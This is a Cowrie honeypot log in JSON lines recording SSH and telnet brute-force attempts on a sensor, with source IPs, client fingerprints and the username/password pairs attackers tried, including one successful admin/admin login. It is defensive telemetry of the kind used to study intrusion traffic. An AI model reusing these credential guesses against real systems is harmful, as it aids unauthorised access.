{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":49070,"dst_ip":"10.17.0.5","dst_port":22,"session":"819468fcaf31","protocol":"ssh","message":"New connection: 185.236.22.41:49070 (10.17.0.5:22) [session: 819468fcaf31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:43.654067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:43.668186Z","src_ip":"185.236.22.41","session":"819468fcaf31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:43.783660Z","src_ip":"185.236.22.41","session":"819468fcaf31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"svadba","message":"login attempt [root/svadba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:44.145232Z","src_ip":"185.236.22.41","session":"819468fcaf31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:45.279135Z","src_ip":"185.236.22.41","session":"819468fcaf31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.83662271499634,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:46.745741Z","src_ip":"135.148.14.151","session":"1e33be753e78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.198806285858154,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:57:55.979436Z","src_ip":"135.148.14.151","session":"e8d1763a29cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.210.202.17","src_port":58334,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7511f7d06ee","protocol":"telnet","message":"New connection: 38.210.202.17:58334 (10.17.0.5:23) [session: a7511f7d06ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:58:11.990950Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34602,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0d9dde7f922","protocol":"telnet","message":"New connection: 135.148.14.151:34602 (159.203.135.109:23) [session: c0d9dde7f922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:58:24.843952Z"}
{"eventid":"cowrie.session.closed","duration":37.821489572525024,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:02.665305Z","src_ip":"135.148.14.151","session":"c0d9dde7f922","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:15.904734Z","src_ip":"38.210.202.17","session":"a7511f7d06ee","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:15.963333Z","src_ip":"38.210.202.17","session":"a7511f7d06ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":33516,"dst_ip":"10.17.0.5","dst_port":22,"session":"39bfe3f8b934","protocol":"ssh","message":"New connection: 77.94.47.83:33516 (10.17.0.5:22) [session: 39bfe3f8b934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:44.119176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:44.124669Z","src_ip":"77.94.47.83","session":"39bfe3f8b934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:44.236047Z","src_ip":"77.94.47.83","session":"39bfe3f8b934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120386","message":"login attempt [root/120386] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:44.570727Z","src_ip":"77.94.47.83","session":"39bfe3f8b934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:45.684411Z","src_ip":"77.94.47.83","session":"39bfe3f8b934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41686,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebc9199e4122","protocol":"telnet","message":"New connection: 135.148.14.151:41686 (159.203.135.109:23) [session: ebc9199e4122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:48.947267Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46802,"dst_ip":"159.203.135.109","dst_port":23,"session":"b585bff5ed68","protocol":"telnet","message":"New connection: 135.148.14.151:46802 (159.203.135.109:23) [session: b585bff5ed68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:55.890561Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":47808,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee0406e35447","protocol":"telnet","message":"New connection: 135.148.14.151:47808 (159.203.135.109:23) [session: ee0406e35447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:57.973896Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49762,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aa773cbcb85","protocol":"telnet","message":"New connection: 135.148.14.151:49762 (159.203.135.109:23) [session: 1aa773cbcb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:59:58.888563Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":7570,"dst_ip":"10.17.0.5","dst_port":22,"session":"2843efc1e90f","protocol":"ssh","message":"New connection: 2.57.121.25:7570 (10.17.0.5:22) [session: 2843efc1e90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:01.605539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:01.628977Z","src_ip":"2.57.121.25","session":"2843efc1e90f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:01.738238Z","src_ip":"2.57.121.25","session":"2843efc1e90f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10101972","message":"login attempt [user/10101972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:02.242583Z","src_ip":"2.57.121.25","session":"2843efc1e90f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51754,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6da7b4a8ce4","protocol":"telnet","message":"New connection: 135.148.14.151:51754 (159.203.135.109:23) [session: a6da7b4a8ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:03.299374Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"100977","message":"login attempt [user/100977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:03.346257Z","src_ip":"2.57.121.25","session":"2843efc1e90f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"10091973","message":"login attempt [user/10091973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:04.449669Z","src_ip":"2.57.121.25","session":"2843efc1e90f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"100686","message":"login attempt [user/100686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:05.553339Z","src_ip":"2.57.121.25","session":"2843efc1e90f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53088,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6c50b34f3ff","protocol":"telnet","message":"New connection: 135.148.14.151:53088 (159.203.135.109:23) [session: c6c50b34f3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:06.326268Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"100581","message":"login attempt [user/100581] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:06.661441Z","src_ip":"2.57.121.25","session":"2843efc1e90f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:07.811243Z","src_ip":"2.57.121.25","session":"2843efc1e90f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.75896692276001,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:20.706105Z","src_ip":"135.148.14.151","session":"ebc9199e4122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58552,"dst_ip":"159.203.135.109","dst_port":23,"session":"b01f8d2918ee","protocol":"telnet","message":"New connection: 135.148.14.151:58552 (159.203.135.109:23) [session: b01f8d2918ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:25.648486Z"}
{"eventid":"cowrie.session.closed","duration":35.02580976486206,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:30.916265Z","src_ip":"135.148.14.151","session":"b585bff5ed68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.420149087905884,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:31.393895Z","src_ip":"135.148.14.151","session":"ee0406e35447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":50860,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc6f7f350f35","protocol":"ssh","message":"New connection: 51.250.105.222:50860 (10.17.0.5:22) [session: bc6f7f350f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:32.822786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:32.828627Z","src_ip":"51.250.105.222","session":"bc6f7f350f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:32.967881Z","src_ip":"51.250.105.222","session":"bc6f7f350f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:33.375819Z","src_ip":"51.250.105.222","session":"bc6f7f350f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.164453983306885,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:34.052911Z","src_ip":"135.148.14.151","session":"1aa773cbcb85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:34.509584Z","src_ip":"51.250.105.222","session":"bc6f7f350f35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.61228013038635,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:41.938421Z","src_ip":"135.148.14.151","session":"c6c50b34f3ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.17316961288452,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:42.472423Z","src_ip":"135.148.14.151","session":"a6da7b4a8ce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":58192,"dst_ip":"159.203.135.109","dst_port":22,"session":"15f8ef12aaeb","protocol":"ssh","message":"New connection: 103.27.238.114:58192 (159.203.135.109:22) [session: 15f8ef12aaeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:50.719806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:50.724720Z","src_ip":"103.27.238.114","session":"15f8ef12aaeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:51.000531Z","src_ip":"103.27.238.114","session":"15f8ef12aaeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ujkjdf","message":"login attempt [root/ujkjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:51.833143Z","src_ip":"103.27.238.114","session":"15f8ef12aaeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:53.113285Z","src_ip":"103.27.238.114","session":"15f8ef12aaeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.202696323394775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:00:56.851046Z","src_ip":"135.148.14.151","session":"b01f8d2918ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":59334,"dst_ip":"159.203.135.109","dst_port":22,"session":"11bbc1801e4f","protocol":"ssh","message":"New connection: 62.133.63.178:59334 (159.203.135.109:22) [session: 11bbc1801e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:08.286002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:08.289416Z","src_ip":"62.133.63.178","session":"11bbc1801e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:08.412401Z","src_ip":"62.133.63.178","session":"11bbc1801e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1987","message":"login attempt [root/dima1987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:08.780701Z","src_ip":"62.133.63.178","session":"11bbc1801e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54204,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6a9a5cb4aed","protocol":"telnet","message":"New connection: 135.148.14.151:54204 (159.203.135.109:23) [session: e6a9a5cb4aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:01:08.815184Z"}
